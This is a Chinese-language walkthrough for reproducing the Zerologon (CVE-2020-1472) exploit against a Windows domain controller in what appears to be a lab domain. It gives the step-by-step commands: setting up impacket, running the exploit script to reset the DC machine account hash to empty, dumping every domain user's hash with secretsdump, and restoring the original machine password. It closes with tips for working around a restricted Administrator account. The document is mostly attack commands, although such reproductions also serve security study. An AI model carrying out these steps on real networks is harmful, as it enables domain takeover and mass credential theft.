返回
顶部

简介

该漏洞利用netlogon的漏洞,重置目标机器的机器账户hash为空,如果针对域控制器执行该攻击,则可以导出所有域用户hash,进而提升为原管理员权限

复现过程

环境准备

首先卸载之前安装的impacket,然后通过源码安装的方式安装最新版本的impacket:

python3 -m pip uninstall impacket
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

下载dirkjanm的利用脚本:

git clone cve-2020-1472-exploit.py

这里我们的域控制器的NetBios Name为DC-01,IP为192.168.60.208,可以通过nbtscan扫描出来:

1606030436172

检测漏洞

下载漏洞检测脚本:CVE-2020-1472

检测目标机器是否存在漏洞:

python3 -m pip install -r requirements
python3 zerologon_tester.py DC-01 192.168.60.208

重置机器账户hash

cd CVE-2020-1472
python3 cve-2020-1472-exploit.py DC-01 192.168.60.208

1606030580379

利用成功,域控制器的及其账户hash被重置为空,空密码的hash值为31d6cfe0d16ae931b73c59d7e0c089c0

恢复机器账户hash

使用secretsdump导出域账户hash

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'thug.com/[email protected]'

1606034015955

然后使用Administrator的账户导出域控制器的本地hash,里面包含域控制器原本的机器账户hash:

secretsdump.py -hashes :4a4558a96ba8c11aef734a34421b8068 'thug.com/[email protected]'

1606034114027

我们只要plain_password_hex的值即可,然后使用restorepassword.py脚本恢复机器hash:

python3 restorepassword.py thug.com/dc-01@dc-01 -target-ip 192.168.60.208 -hexpass 5cab5bad12d5cbc8c6697ec700b5972a2...

1606034189402

再次查看域控制器的机器账户hash:

secretsdump.py -hashes :4a4558a96ba8c11aef734a34421b8068 'thug.com/[email protected]' -just-dc-user dc-01\$ -just-dc-ntlm

已经恢复为原来的值

1606034266400

局限性

这么做不是没有弊端,因为在某些情况下,域管理员可能会禁用administrator账户或者限制该账户的行为,导致我们即使拿到域控制器的administrator账户,也无法导出域控制器存储在本地注册表中的hash(原始的机器账户hash)

但是我们可以通过先获取域中成员主机的权限,然后通过net group "domain admins" /domain获取到域内的管理员账户名,然后在使用空hash导域账户hash的时候指定这些域管理员,这样如果administrator如果存在限制,我们还可以尝试使用其他的域管理员账户来导出域控制器本地注册表中保存的hash

1606034545539

1606034805716